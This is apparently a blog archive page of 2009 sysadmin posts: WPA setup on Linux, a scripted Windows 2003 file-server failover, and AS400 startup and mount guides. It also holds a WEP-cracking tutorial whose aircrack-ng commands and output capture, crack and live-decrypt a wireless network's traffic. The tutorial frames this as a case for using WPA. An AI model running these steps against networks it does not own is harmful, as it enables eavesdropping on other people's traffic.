Sep 04 2009

Configure WPA on Linux Howto

Published by under Linux,Security




WPA encryption is not much hassle to set up and is way more secure than WEP if you use a strong pre-shared key.
 
First off, we’ve got a wifi interface that can be displayed with iwconfig (from the wireless tools):

[root@db ~]# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Bit Rate:0 kb/s   Tx-Power:13 dBm   Sensitivity=1/1
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/70  Signal level=-95 dBm  Noise level=-95 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

 
If the interface doesn’t show up, install drivers first, or check the logs to make sure the card has been detected.
 

wpa_supplicant Configuration File

Install required package wpa_supplicant. This is all you need and it’s provided with most Linux distributions.
If not, you can also download the latest source code from http://hostap.epitest.fi/wpa_supplicant/ and compile it.
 
Once installed, generate your hex passphrase

WPA_Linux# wpa_passphrase myssid mypassphrase
network={
        ssid="myssid"
        #psk="mypassphrase"
        psk=c22c1e6febc7875af85d033bbf15f5ca836633bac8eb16693fd58bff66fcb66c
}

 
Edit /etc/wpa_supplicant/wpa_supplicant.conf (Redhat/Fedora) or create it (Debian/Ubuntu) adding these settings.
The line #psk… commented out can be removed once it works for more security.
 

Associate with Access Point

Connect manually to check everthing’s fine:
 

WPA_linux# wpa_supplicant -iath0 -c /etc/wpa_supplicant/wpa_supplicant.conf
Associated with 00:00:00:00:00:00
CTRL-EVENT-DISCONNECTED - Disconnect event - remove keys
CTRL-EVENT-SCAN-RESULTS
Trying to associate with 00:a0:c5:ff:84:72 (SSID='myssid' freq=2412 MHz)
Associated with 00:a0:c5:ff:84:72

 
Note you may have to specify the driver with -D option.
 

Configure startup files

On Redhat/Fedora, configure /etc/sysconfig/network-scripts/ifcfg-ath0 (replace ath0 with your own interface name of course) as you would for any classic interface and /etc/sysconfig/wpa_supplicant according to your settings

INTERFACES="-iath0"
DRIVERS="-Dmadwifi"

 
Then restart the service:

/etc/init.d/wpa_supplicant restart

 
On Debian/Ubuntu, edit /etc/network/interfaces and add

auto ath0
        iface ath0 inet dhcp
        pre-up wpa_supplicant -iath0 -c/etc/wpa_supplicant/wpa_supplicant.conf -B
        post-down killall wpa_supplicant

 
And reenable the wireless interface or reboot

ifdown ath0
ifup ath0

 

 

No responses yet

Aug 20 2009

File server cluster on Windows 2003 Server Standard Edition

Published by under Windows

Most of us already know cluster features aren’t provided on Windows 2003 server Standard Edition.
The thing is you’ve got a shared storage space but you can’t (or don’t want to) afford 2 Windows Enterprise licences just for a file server.
There is DFS indeed but one acknowledge it is a pity to replicate data that resides on a secure storage space.
I suggest here to create a 60 second semi-automatic failover with two 2003 standard edition servers since the cluster feature’s not available. A shared file edited before failing over can be saved after while the user sees no change.
 
Windows File Server Failover
 
Since we don’t want to modify mount points, scripts, and so on, on workstations, we will not connect to the server IP address nor the hostname but a DNS alias (CNAME) pointing to the main server from a start. To fail over, the alias needs to point to the backup server.
In other words, the XP client (or anything else) makes a DNS query on \\files to which the active server DNS entry is returned. The client is connecting then to the appropriate server.
 

Share Name

Servers do not accept a share name that is different to the hostname. Accessing the \\files share, an error message is returned.
A workaround is to force the server to accept a different name adding the DWORD value DisableStrictNameChecking in [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters], and set it to 1 (decimal).
More about this issue at http://support.microsoft.com/kb/281308
You should also add the DWORD value DisableLoopbackCheck in [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] to be able to reach \\files from the server the alias is pointing to. A denied access error is generated if you don’t. See KB926642 for more information.
 

DNS Cache

XP machines have a DNS cache storing records for a 24 hour default period. This is an issue since the failover is effective one day later for the clients.
The DNS time to live (TTL) setting represents the expiry time in the DNS cache. It can be changed if created with the command line:
dnscmd /RecordAdd mydomain.com files 60 CNAME server1.mydomain.com
60 is important here: the entry – and only this one – will expire after 60 seconds from the DNS cache, time after which the client makes a new DNS request.
Hence, the global cache isn’t touched, since it does the job for other DNS queries, limiting the overall trafic on the network, while the CNAME is quickly updated during the failover procedure.
 

SAN Configuration

Important: Make the drives visible from the live server only! If you create a LUN to the standby server as well, Windows may corrupt the filesystem even though the disk isn’t mapped to a drive letter.
Since the volume is only visible from the live server, a manual step is required to delete the LUN and create a new one to the standby server. I automated this process with a Perl script that telnets on to the SAN and deletes/recreates LUNs (Most SAN provide telnet access).
 

Copy Shares Information accross

Shares information is stored in the Windows registry in [HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares], but on the filesystem. All shares are lost after failing over.
To get them back, shares declared on the main server need to be copied across to the standby server. Only shares located on the drives to be migrated are to be copied. C:\ drive shares for instance aren’t.
Before migrating, we need to make sure drive letters are available on the target server. In order to avoid trouble, we take X: and Y: letters so they aren’t used by removable disks. It is also possible to disable automounting with mountvol.
 
This DOS script (to run on the main server) copy server’s shares information across on to the standby server. Being a Linux user, I’ve been pretty quickly aware of DOS limitations, widening the code to deal with spaces in share names.
 

SETLOCAL ENABLEDELAYEDEXPANSION

rem Variables to edit
rem Do not forget RemoveDrives.txt file
set DOMAIN=mydomain.com
rem Standby 2003 server standard edition
set DSTSRV=server2
set DNSSRV=mydnsserver
rem File server DNS alias (without domain)
set CNAME=files
rem Volumes on shared storage to migrate
set DRIVES=X,Y

set KEYPATH=HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares
set SHARESRC=%KEYPATH%
set SHAREDST=\\%DSTSRV%\%KEYPATH%
set SECURITYSRC=%KEYPATH%\Security
set SECURITYDST=\\%DSTSRV%\%KEYPATH%\Security


rem Check drives are available on target
for /D %%D in (%DRIVES%) DO (
  reg query \\%DSTSRV%\HKLM\SYSTEM\MountedDevices /v \DosDevices\%%D:  2>NUL 1>NUL
  if not !ERRORLEVEL!==1 (
    echo %%D is not available on the target
    echo STOPPING FAILOVER
    goto end
  )
)


rem Delete previous share names on target
for /D %%D in (%DRIVES%) DO (

  rem Go though shares
  for /F "tokens=1 delims=" %%K in ('reg query %SHAREDST%^|findstr %%D:') do (

    rem reg query outputs 3 fields: Value - Type - Data
    rem We swap the type for # since only single characters can delimit
    rem All this needed for share names with white spaces!
    set SHAREKEY=%%K
    set SHAREKEY=!SHAREKEY:REG_MULTI_SZ=#!

    rem Retrieve value (sharename) and data (path)
    for /F "tokens=1,2 delims=#" %%S in ("!SHAREKEY!") do (

      rem Remove leading and trailing whitespace
      rem and adds double quotes for share names containing spaces
      set SHARE=%%S
      set SHARE="!SHARE:~4,-4!"

      rem Remove share names and security
      reg delete %SHAREDST% /v !SHARE! /f
      reg delete %SECURITYDST% /v !SHARE! /f
    )
  )
)


rem Copy shares name and security on to the backup server registry
rem Go though drives
for /D %%D in (%DRIVES%) DO (

  rem Go through shares
  for /F "tokens=1 delims=" %%K in ('reg query %SHARESRC%^|findstr %%D:') do (

    rem reg query outputs 3 fields: Value - Type - Data
    rem We swap the type for # since only single characters can delimit
    rem All this needed for share names with white spaces!
    set SHAREKEY=%%K
    set SHAREKEY=!SHAREKEY:REG_MULTI_SZ=#!

    rem Retrieve value (sharename) and data (path)
    for /F "tokens=1,2 delims=#" %%S in ("!SHAREKEY!") do (

      rem Remove leading and trailing whitespace
      rem and adds double quotes for share names containing spaces
      set SHARE=%%S
      set SHARE="!SHARE:~4,-4!"
      set DATA=%%T
      set DATA="!DATA:~4!"

      rem Restore shares name
      reg add %SHAREDST% /v !SHARE! /t REG_MULTI_SZ /d !DATA! /f

      rem Same method as above for security
      for /F "tokens=1 delims=" %%L in ('reg query %SECURITYSRC% /v !SHARE! ') do (
        set SECURITYKEY=%%L
        set SECURITYKEY=!SECURITYKEY:REG_BINARY    =#!
        for /F "tokens=2 delims=#" %%S in ("!SECURITYKEY!") do (
          REG ADD %SECURITYDST% /v !SHARE! /t REG_BINARY /d %%S /f
        )

      )
    )
  )
)

 
Two kinds of situation may occur while failing over:
– The primary file server is still online and we want to do some work on it
– The primary file server has crashed and is unavailable
In the second case, Shares information is no more available. This is why it could be judicious to run this piece of script everyday so the standby server is up-to-date as much as possible.
 

Disconnect the Drives

Failover starts right here. Double-check drives have been removed on My Computer. The partition must NOT be mounted on the 2 servers at the same time! Few actions are required as of now:
– Stop applications accessing volumes
– Remove the drive letter (not the volume :-))
– Modify the DNS
– Restart applications
Only the files to be shared should reside on the volume, not application related. In this scenario, we’d need to stop the related applications during the process.
As a consequence, the ‘file server’ and dependencies are the only services to be stopped: ‘Server’, ‘Net Logon’, ‘Computer browser’ and ‘DFS’. Check if other dependencies were not added afterwards (example: Backup exec in my setup).
 
All this can be done within a DOS script as well:

rem Stop services beforehands to remove drive letters
net session /delete /y
net stop "Server" /y

rem Remove drive letters
set diskfile=disk.txt
copy NUL %diskfile%
for /D %%D in (%DRIVES%) DO (
  echo select volume %%D: >> %diskfile%
  echo remove >> %diskfile%
)
diskpart /s %diskfile%

rem Change DNS
dnscmd %DNSSRV% /recorddelete %DOMAIN% %CNAME% CNAME /f
dnscmd %DNSSRV% /RecordAdd %DOMAIN% %CNAME% 60 CNAME %DSTSRV%.%DOMAIN%

rem Restart services
rem "Server" service is started with others since they depend on it
net start "Net Logon"
net start "Computer Browser"
net start "Distributed File System"

Target Activation

Before activating the target, recreate the LUNs on your NAS to make the drives visible from the server, either manually or via a script.
Let’s start the service on the backup server. We need to open the disk manager, reassign drive letters and restart the ‘Server’ service and its dependencies. All of this can be done with a DOS script as well. Use the mountvol command to identify drive IDs.
Beware to run a checkdisk to process the NTFS journal since there doesn’t seem to be a way to flush it. It’s fast and you’re sure not to have a corrupted file system at the end of the day. In my setup:

mountvol X: \\?\Volume{3e0cfc97-a6c5-11de-84f1-00237de94c0e}\ 
chkdsk /F /X X:

rem Restart Share Server
net stop "Server" /y
net start "Net Logon"
net start "Computer Browser"
net start "Distributed File System"

 
Windows may not detect the disks immediately. Microsoft provide the devcon tool that lets you refresh your hardware. The command line

devcon rescan

can be added just before assigning a drive letter with mountvol.
 

Fail back to the Main Server

Same process but without copying shares in the registry as they’re already in of course.
 

Netbios Cache

When a user opens a share, the server Netbios name and IP address are added to the Netbios cache table. Entries are stored 10mn in there by default.
Table name content can be displayed with nbtstat command:
 

C:\>nbtstat -c

Local Network Connection:
Node IpAddress: [192.168.0.10] Scope Id: []

                  NetBIOS Remote Cache Name Table

        Name              Type       Host Address    Life [sec]
    ------------------------------------------------------------
    SERVER2        <20>  UNIQUE          192.168.0.200       595
    SERVER1        <20>  UNIQUE          192.168.0.201       587

 
If a user opens \\files right before failing over, he’ll have to wait up to 10mn to get back to the share. 2 workarounds:
– Disable the cache adding the DWORD value EnableProxy under the registry key [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\Parameters], set to 0.
– Decrease the cache timeout from 600 down to 60 seconds. This is where we go, the timeout matches the DNS entry TTL. Edit CacheTimeout under [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\Parameters]
Replace:
927c0 (600000 in decimal) with
ea60 (60000 in decimal)
That key can be modified on all workstations with GPO (Group Policy).
 

Disk Write Caching

While dealing with a cluster connecting to a shared storage, you’re better off disabling the disk write caching to get all your data back on the standby server in case the primary server crashes or fails over.
Go in your hardware manager, and clear the Write Cache Enabled check box in the disk properties (labeled Multi-path Disk Device on my server).
 
Voilà, we’ve got redondancy on a Windows 2003 server standard edition with a failover that takes less than a minute without spending a dime, saving the 4000 bucks for a cluster.
Here are the scripts to disable the main server and enable the backup server. To be renamed with a .bat extension indeed. Scripts to fail back are almost identical. They include a check not to mount the drives on both sides.
 
Notes:
Do not create shares while on the backup server since the script replicates them from server 1 to server 2, and not the other way around.
Before activating the drives on the target server, make sure the drive letters don’t display in “My computer”.

 

2 responses so far

Aug 09 2009

How to crack a WEP key and decrypt live traffic

Published by under Linux,Security

Cracking a WEP key is extremely easy and is a matter of a few seconds. Truth? Pretty much… We are going to decrypt traffic in real time as well without even needing to connect to the wireless access point.
 
All steps will be run under root super-user as interfaces state needs to be changed.
 

Aircrack Installation

Download and install aircrack-ng. It’s available on most Linux distributions in a package format.
On Debian, run

apt-get install aircrack-ng

 
Aircrack provides tools to capture packets, crack the WEP key, and decrypt live traffic.
 
We’ll run tests with a Linksys PCMCIA wifi card. A simple ifconfig displays the card’s network stats that tells us it’s been detected.

root@crack_WEP:~$ ifconfig
lo        Interface doesn't support scanning.

wlan0     Link encap:Ethernet  HWaddr 00:1a:70:6b:37:4e  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:3742 (3.7 KB)  TX bytes:10773 (10.7 KB)


Capturing Packets

The interface needs to be switched to monitor mode in the first place.

root@crack_WEP:~$ airmon-ng
Interface	Chipset		Driver
wlan0		Broadcom 43xx	b43 - [phy0]

 
Airmon has detected the interface is wlan0. It could be a different name of course such as ath0 for instance.

root@crack_WEP:~$ airmon-ng stop wlan0
Interface	Chipset		Driver
wlan0		Broadcom 43xx	b43 - [phy0]
				(monitor mode disabled)

root@crack_WEP:~$ airmon-ng start wlan0
Interface	Chipset		Driver
wlan0		Broadcom 43xx	b43 - [phy0]
				(monitor mode enabled on mon0)

 
Running iwconfig shows mon0 has been added in addition to the original interface wlan0:

root@crack_WEP:~$ iwconfig
wlan0     IEEE 802.11bg  ESSID:""  
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated   
          Tx-Power=27 dBm   
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B   
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=27 dBm   
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B   
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

 
We can now scan available networks around the place

root@crack_WEP:~$ airodump-ng mon0
 CH 10 ][ Elapsed: 4 s ][ 2009-08-08 18:01                                     
 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:A0:C5:FF:84:72  197        4        0    0   1  11  WEP  WEP         private
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes

 
Scan results show we’ve got an access point emitting on channel 1 with WEP encryption, that has mac address 00:A0:C5:FF:84:72.
The target now defined, we need to capture air packets broadcasted by access point and clients.

root@crack_WEP:~$ airodump-ng --channel 1 --bssid 00:A0:C5:FF:84:72 --write temp wlan0

 CH  1 ][ Elapsed: 31 mins ][ 2009-05-02 21:52                                         
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:A0:C5:FF:84:72  205  10     6058    24496    0   1  54  WEP  WEP         private           
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes                       
 00:A0:C5:FF:84:72  00:18:4D:76:30:EB  188  54-54     0    24795                               

 
Packets are captured in .cap files with the temp suffix.
Cracking techniques getting more efficient, there are good chances to crack a key with no more than 40000 packets with recent algorithms. Capturing time varies with the amount of traffic on the air link.
 

Cracking the WEP key

It is now time to crack the WEP key:

root@crack_WEP:~$ aircrack-ng -z -b 00:A0:C5:FF:84:72 temp.cap-0*.cap 

                                         Aircrack-ng 1.0 rc1

                         [00:00:22] Tested 240228 keys (got 41742 IVs)

   KB    depth   byte(vote)
    0    0/  1   B9(58880) A0(50688) 12(50176) F5(49920) 9E(48896) CD(48640) 
    1    0/  1   19(54784) E8(52480) FA(52480) 4B(51456) 79(51456) DD(49664) 
    2    0/  1   31(59648) EA(53504) 40(50688) 0A(50432) 88(50432) 0E(50176) 
    3    0/  1   8C(60416) 05(49152) 56(49152) 23(48640) 52(48384) 03(48128) 
    4    0/  1   B2(59136) AE(49664) 78(49152) FE(49152) 8B(48384) 9C(47616) 
    5    0/  1   61(53504) E6(50688) FF(50176) 13(49664) 23(49408) C7(49408) 
    6    0/  1   DD(56320) C4(51968) 90(50688) 0C(50176) CF(49920) CE(49152) 
    7    0/  1   4E(53248) E6(51968) 7D(49152) 0B(48896) 90(48896) 06(48640) 
    8    0/  1   FB(52224) C1(49664) E9(48128) 3D(47616) F0(47360) EB(47104) 
    9    0/  1   0B(54784) BC(51712) 52(50432) 54(49920) F5(49920) CA(48896) 
   10    0/  1   E6(50944) 1C(49920) 5F(49408) 1F(49152) 0A(48896) 83(48896) 
   11    2/  1   FF(49664) 17(48384) 94(48128) 27(47872) 23(47616) B2(47616) 
   12    0/  4   91(50452) A4(50360) 77(50156) 78(49540) FF(49476) 70(48788) 

             KEY FOUND! [ B9:19:31:8C:B2:61:DD:4E:FB:0B:AA:62:99 ] 
	Decrypted correctly: 100%

 
That’s right, the key was cracked in 22 seconds!
 

Decrypting Traffic

It is possible to capture the traffic in .cap files as above, decrypt it in a second file before sending it to the tcpdump command for instance:

root@crack_WEP:~$ airdecap-ng -w b919318cb261dd4efb0baa6299 temp-01.cap 
Total number of packets read         22072
Total number of WEP data packets      6245
Total number of WPA data packets         0
Number of plaintext data packets         3
Number of decrypted WEP  packets      6245
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0

root@crack_WEP:~$ tcpdump -r temp-01-dec.cap -i wlan

 
But it is also possible to decrypt live traffic in real time sending it to a virtual interface at0 on which we can listen as with any real interface. Airtun-ng provided in Aircrack package has the ability to do so.

root@crack_WEP:~$ airtun-ng -a 00:A0:C5:FF:84:72 -w b919318cb261dd4efb0baa6299 mon0
created tap interface at0
WEP encryption specified. Sending and receiving frames through mon0.
FromDS bit set in all frames.

 
From another shell:

crack_WEP:~$ tcpdump -i at0


Conclusion

It is indeed very easy to crack a WEP key and listen to the traffic without associating to the access point hence without being detected. Pay attention to use at least WPA with non-dictionnary based passwords.

 

One response so far

Jul 02 2009

How to Change AS400 QSTRUP Startup Program

Published by under AS400

IBM i / AS400 QSTRUP is the CL program loaded when the system boots and it may be useful to change it. You may want to add the MKDIR command line for instance to have a permanent share mounted.
I’m saying program as QSTRUP is a compiled program, rather than a simple text file.
 
You can get the QSTRUP name and library from the QSTRUPPGM system value:

DSPSYSVAL QSTRUPPGM

The result is QGPL/QSTRUP in my case, which is the default.
 
If you don’t have the source code, You can extract it:

RTVCLSRC QGPL/QSTRUP mylib/QCLSRC

Replace mylib with QGPL as most people store it there, but make a copy of your current source file first
 
To edit the source code, launch the development manager:

STRPDM

Enter option 3: Members management, file QCLSRC and library QGPL
Enter option 2: EDIT
Go on with the changes and save
Option 14: COMPILE
 
The new compiled QSTRUP program will run from now on at the next IPL (initial program load or boot in other systems).
 
You can also process startup logs to check what is going on after you changed the QSTRUP program.

 

No responses yet

Jul 02 2009

Access Windows, Unix and AS400 from AS400/IBM i

Published by under AS400

IBM i can communicate with all major operating systems to reach remote files: Windows, Linux and any Unix flavour, and other IBM i of course. It provides multiple filesystems that let you access remote shares. A diagram of these filesystems is available on IBM website.


Windows Shared Folders

IBM i communicates with Windows servers with the SMB protocol and mounts shares on /QNTC filesystem. Create a folder is all that needs to be done.

MKDIR '/QNTC/MY_WINDOWS_SERVER'


Walk into the mountpoint and you can then browse all shares available on the Windows server and their subdirectories:

WRKLNK '/QNTC/MY_WINDOWS_SERVER'

 
IP address can also be used in place of the server name:

mkdir '/QNTC/IPADDR'
wrklnk '/QNTC/IPADDR'

 
Note: Pay attention to Windows permissions. It doesn’t seem to be fully compatible.
Active Directory can also be a problem in some cases.
AS400 and the Windows machine are supposed to be in the same WORKGROUP but it seems to work fine if they’re not.
 

Linux / Unix NFS

AS400 appropriate filesystem for Linux and Unix in general is /QOpenSys.
Export the shared folder with NFS (Network FileSystem) from the AIX server (or any Unix system that supports NFS). It has to be mountable by root. Replace mountpoint by any directory name you like.

MKDIR '/mnt/mountpoint'
MOUNT TYPE(*NFS) MFS('SERVER_IP:/mydir') MNTOVRDIR('/mnt/mountpoint')
WRKLNK /mnt/mountpoint


AS400 / IBM i

Same story again with /QFileSrv.400 filesystem and the MKDIR command.

I couldn’t make it work with the IP address. I had to create a static entry, and the mountpoint next:

ADDTCPHTE INTNETADR('Remote_AS400_IP') HOSTNAME((AS400_hostname))

(Reachable from menu GO NETWORK -> TCP/IP Administration -> Configure TCP/IP -> Work with TCP/IP host table entries -> Add)

To make the mount point persistant through IPLs (reboots), add the mkdir command to the startup program (QSTRUP).

MKDIR '/QFileSvr.400/AS400_hostname'

 

 

No responses yet

« Prev - Next »